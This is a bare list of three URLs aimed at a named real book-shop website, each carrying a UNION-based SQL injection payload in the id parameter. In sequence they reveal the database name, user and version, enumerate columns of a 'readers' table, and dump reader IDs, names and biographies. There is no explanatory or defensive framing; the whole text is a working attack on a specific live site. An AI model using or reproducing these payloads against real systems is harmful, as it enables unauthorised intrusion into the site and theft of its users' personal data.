http://www.ardisbook.ru/catalog/bookpodr.html?id=-1+union+select+1,2,concat(database(),char(58),user(),char(58),version()),4,5,6,7,8,9,10,11/*
http://www.ardisbook.ru/catalog/bookpodr.html?id=-1+union+select+1,2,column_name,4,5,6,7,8,9,10,11+from+information_schema.columns+where+table_name=char(114,101,97,100,101,114,115)+limit+0,1/*
http://www.ardisbook.ru/catalog/bookpodr.html?id=-1+union+select+1,2,concat(readerid,char(58),readername,char(58),readerbiography),4,5,6,7,8,9,10,11+from+readers/*